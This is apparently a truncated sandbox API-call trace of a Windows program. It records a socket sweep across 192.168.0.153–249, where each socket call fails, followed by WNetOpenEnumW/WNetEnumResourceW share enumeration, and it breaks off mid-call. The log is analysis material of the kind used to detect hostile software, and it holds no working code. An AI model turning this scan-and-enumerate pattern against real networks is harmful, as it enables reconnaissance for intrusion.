[0258.278] htonl (hostlong=0xc0a80099) returned 0x9900a8c0 [0258.278] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.278] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.278] htonl (hostlong=0xc0a8009a) returned 0x9a00a8c0 [0258.278] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.278] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.278] htonl (hostlong=0xc0a8009b) returned 0x9b00a8c0 [0258.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.279] htonl (hostlong=0xc0a8009c) returned 0x9c00a8c0 [0258.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.279] htonl (hostlong=0xc0a8009d) returned 0x9d00a8c0 [0258.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.279] htonl (hostlong=0xc0a8009e) returned 0x9e00a8c0 [0258.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.279] htonl (hostlong=0xc0a8009f) returned 0x9f00a8c0 [0258.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.279] htonl (hostlong=0xc0a800a0) returned 0xa000a8c0 [0258.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.279] htonl (hostlong=0xc0a800a1) returned 0xa100a8c0 [0258.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.279] htonl (hostlong=0xc0a800a2) returned 0xa200a8c0 [0258.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.279] htonl (hostlong=0xc0a800a3) returned 0xa300a8c0 [0258.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.279] htonl (hostlong=0xc0a800a4) returned 0xa400a8c0 [0258.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.279] htonl (hostlong=0xc0a800a5) returned 0xa500a8c0 [0258.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.279] htonl (hostlong=0xc0a800a6) returned 0xa600a8c0 [0258.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.279] htonl (hostlong=0xc0a800a7) returned 0xa700a8c0 [0258.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.279] htonl (hostlong=0xc0a800a8) returned 0xa800a8c0 [0258.279] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.279] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.279] htonl (hostlong=0xc0a800a9) returned 0xa900a8c0 [0258.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.280] htonl (hostlong=0xc0a800aa) returned 0xaa00a8c0 [0258.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.280] htonl (hostlong=0xc0a800ab) returned 0xab00a8c0 [0258.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.280] htonl (hostlong=0xc0a800ac) returned 0xac00a8c0 [0258.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.280] htonl (hostlong=0xc0a800ad) returned 0xad00a8c0 [0258.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.280] htonl (hostlong=0xc0a800ae) returned 0xae00a8c0 [0258.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.280] htonl (hostlong=0xc0a800af) returned 0xaf00a8c0 [0258.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.280] htonl (hostlong=0xc0a800b0) returned 0xb000a8c0 [0258.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.280] htonl (hostlong=0xc0a800b1) returned 0xb100a8c0 [0258.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.280] htonl (hostlong=0xc0a800b2) returned 0xb200a8c0 [0258.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.280] htonl (hostlong=0xc0a800b3) returned 0xb300a8c0 [0258.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.280] htonl (hostlong=0xc0a800b4) returned 0xb400a8c0 [0258.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.280] htonl (hostlong=0xc0a800b5) returned 0xb500a8c0 [0258.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.280] htonl (hostlong=0xc0a800b6) returned 0xb600a8c0 [0258.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.280] htonl (hostlong=0xc0a800b7) returned 0xb700a8c0 [0258.280] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.280] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.281] htonl (hostlong=0xc0a800b8) returned 0xb800a8c0 [0258.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.281] htonl (hostlong=0xc0a800b9) returned 0xb900a8c0 [0258.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.281] htonl (hostlong=0xc0a800ba) returned 0xba00a8c0 [0258.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.281] htonl (hostlong=0xc0a800bb) returned 0xbb00a8c0 [0258.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.281] htonl (hostlong=0xc0a800bc) returned 0xbc00a8c0 [0258.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.281] htonl (hostlong=0xc0a800bd) returned 0xbd00a8c0 [0258.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.281] htonl (hostlong=0xc0a800be) returned 0xbe00a8c0 [0258.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.281] htonl (hostlong=0xc0a800bf) returned 0xbf00a8c0 [0258.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.281] htonl (hostlong=0xc0a800c0) returned 0xc000a8c0 [0258.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.281] htonl (hostlong=0xc0a800c1) returned 0xc100a8c0 [0258.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.281] htonl (hostlong=0xc0a800c2) returned 0xc200a8c0 [0258.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.281] htonl (hostlong=0xc0a800c3) returned 0xc300a8c0 [0258.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.281] htonl (hostlong=0xc0a800c4) returned 0xc400a8c0 [0258.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.281] htonl (hostlong=0xc0a800c5) returned 0xc500a8c0 [0258.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.281] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.281] htonl (hostlong=0xc0a800c6) returned 0xc600a8c0 [0258.281] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.282] htonl (hostlong=0xc0a800c7) returned 0xc700a8c0 [0258.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.282] htonl (hostlong=0xc0a800c8) returned 0xc800a8c0 [0258.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.282] htonl (hostlong=0xc0a800c9) returned 0xc900a8c0 [0258.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.282] htonl (hostlong=0xc0a800ca) returned 0xca00a8c0 [0258.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.282] htonl (hostlong=0xc0a800cb) returned 0xcb00a8c0 [0258.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.282] htonl (hostlong=0xc0a800cc) returned 0xcc00a8c0 [0258.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.282] htonl (hostlong=0xc0a800cd) returned 0xcd00a8c0 [0258.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.282] htonl (hostlong=0xc0a800ce) returned 0xce00a8c0 [0258.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.282] htonl (hostlong=0xc0a800cf) returned 0xcf00a8c0 [0258.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.282] htonl (hostlong=0xc0a800d0) returned 0xd000a8c0 [0258.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.282] htonl (hostlong=0xc0a800d1) returned 0xd100a8c0 [0258.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.282] htonl (hostlong=0xc0a800d2) returned 0xd200a8c0 [0258.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.282] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.282] htonl (hostlong=0xc0a800d3) returned 0xd300a8c0 [0258.282] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.283] htonl (hostlong=0xc0a800d4) returned 0xd400a8c0 [0258.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.283] htonl (hostlong=0xc0a800d5) returned 0xd500a8c0 [0258.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.283] htonl (hostlong=0xc0a800d6) returned 0xd600a8c0 [0258.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.283] htonl (hostlong=0xc0a800d7) returned 0xd700a8c0 [0258.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.283] htonl (hostlong=0xc0a800d8) returned 0xd800a8c0 [0258.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.283] htonl (hostlong=0xc0a800d9) returned 0xd900a8c0 [0258.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.283] htonl (hostlong=0xc0a800da) returned 0xda00a8c0 [0258.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.283] htonl (hostlong=0xc0a800db) returned 0xdb00a8c0 [0258.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.283] htonl (hostlong=0xc0a800dc) returned 0xdc00a8c0 [0258.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.283] htonl (hostlong=0xc0a800dd) returned 0xdd00a8c0 [0258.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.283] htonl (hostlong=0xc0a800de) returned 0xde00a8c0 [0258.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.283] htonl (hostlong=0xc0a800df) returned 0xdf00a8c0 [0258.283] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.283] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.284] htonl (hostlong=0xc0a800e0) returned 0xe000a8c0 [0258.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.284] htonl (hostlong=0xc0a800e1) returned 0xe100a8c0 [0258.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.284] htonl (hostlong=0xc0a800e2) returned 0xe200a8c0 [0258.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.284] htonl (hostlong=0xc0a800e3) returned 0xe300a8c0 [0258.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.284] htonl (hostlong=0xc0a800e4) returned 0xe400a8c0 [0258.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.284] htonl (hostlong=0xc0a800e5) returned 0xe500a8c0 [0258.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.284] htonl (hostlong=0xc0a800e6) returned 0xe600a8c0 [0258.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.284] htonl (hostlong=0xc0a800e7) returned 0xe700a8c0 [0258.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.284] htonl (hostlong=0xc0a800e8) returned 0xe800a8c0 [0258.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.284] htonl (hostlong=0xc0a800e9) returned 0xe900a8c0 [0258.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.284] htonl (hostlong=0xc0a800ea) returned 0xea00a8c0 [0258.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.284] htonl (hostlong=0xc0a800eb) returned 0xeb00a8c0 [0258.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.284] htonl (hostlong=0xc0a800ec) returned 0xec00a8c0 [0258.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.284] htonl (hostlong=0xc0a800ed) returned 0xed00a8c0 [0258.284] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.284] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.284] htonl (hostlong=0xc0a800ee) returned 0xee00a8c0 [0258.285] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.285] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.285] htonl (hostlong=0xc0a800ef) returned 0xef00a8c0 [0258.285] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.285] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.285] htonl (hostlong=0xc0a800f0) returned 0xf000a8c0 [0258.285] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.285] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.285] htonl (hostlong=0xc0a800f1) returned 0xf100a8c0 [0258.285] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.285] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.285] htonl (hostlong=0xc0a800f2) returned 0xf200a8c0 [0258.285] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.285] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.285] htonl (hostlong=0xc0a800f3) returned 0xf300a8c0 [0258.285] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.285] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.285] htonl (hostlong=0xc0a800f4) returned 0xf400a8c0 [0258.285] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.285] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.285] htonl (hostlong=0xc0a800f5) returned 0xf500a8c0 [0258.285] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.285] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.285] htonl (hostlong=0xc0a800f6) returned 0xf600a8c0 [0258.286] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.286] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.286] htonl (hostlong=0xc0a800f7) returned 0xf700a8c0 [0258.286] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.286] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.286] htonl (hostlong=0xc0a800f8) returned 0xf800a8c0 [0258.286] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.286] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0258.286] htonl (hostlong=0xc0a800f9) returned 0xf900a8c0 [0258.286] socket (af=2, type=1, protocol=6) returned 0xffffffff [0258.286] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f0 | out: argp=0xf2f8f0) returned -1 [0268.420] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xf2f928 | out: lphEnum=0xf2f928*=0x6bd230) returned 0x0 [0268.716] WNetEnumResourceW (in: hEnum=0x6bd230, lpcCount=0xf2f920, lpBuffer=0x378f588, lpBufferSize=0xf2f92c | out: lpcCount=0xf2f920, lpBuffer=0x378f588, lpBufferSize=0xf2f92c) returned 0x103 [0268.716] WNetCloseEnum (hEnum=0x6bd230) returned 0x0 [0268.716] GetProcessHeap () returned 0x6a0000 [0268.716] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378f588 | out: hHeap=0x6a0000) returned 1 [0268.716] GetProcessHeap () returned 0x6a0000 [0268.716] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0268.716] GetProcessHeap () returned 0x6a0000 [0268.716] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x378f588 [0268.716] GetProcessHeap () returned 0x6a0000 [0268.716] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0268.717] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xf2f910 | out: lphEnum=0xf2f910*=0x6bcb60) returned 0x0 [0268.717] WNetEnumResourceW (in: hEnum=0x6bcb60, lpcCount=0xf2f908, lpBuffer=0x378f588, lpBufferSize=0xf2f914 | out: lpcCount=0xf2f908, lpBuffer=0x378f588, lpBufferSize=0xf2f914) returned 0x103 [0268.717] WNetCloseEnum (hEnum=0x6bcb60) returned 0x0 [0268.717] GetProcessHeap () returned 0x6a0000 [0268.717] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378f588 | out: hHeap=0x6a0000) returned 1 [0268.717] GetProcessHeap () returned 0x6a0000 [0268.717] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0268.717] GetProcessHeap () returned 0x6a0000 [0268.717] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x378f588 [0268.717] GetProcessHeap () returned 0x6a0000 [0268.717] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0268.717] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xf2f8f8 | out: lphEnum=0xf2f8f8*=0x6bd230) returned 0x0 [0271.112] WNetEnumResourceW (in: hEnum=0x6bd230, lpcCount=0xf2f8f0, lpBuffer=0x378f588, lpBufferSize=0xf2f8fc | out: lpcCount=0xf2f8f0, lpBuffer=0x378f588, lpBufferSize=0xf2f8fc) returned 0x0 [0271.113] GetProcessHeap () returned 0x6a0000 [0271.113] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x794e58 [0271.113] GetProcessHeap () returned 0x6a0000 [0271.113] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3b10048 [0271.113] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x378f588, lphEnum=0xf2f8b8 | out: lphEnum=0xf2f8b8*=0x6bbe20) returned 0x0 [0271.117] WNetEnumResourceW (in: hEnum=0x6bbe20, lpcCount=0xf2f8b0, lpBuffer=0x794e58, lpBufferSize=0xf2f8bc | out: lpcCount=0xf2f8b0, lpBuffer=0x794e58, lpBufferSize=0xf2f8bc) returned 0x0 [0271.118] WNetEnumResourceW (in: hEnum=0x6bbe20, 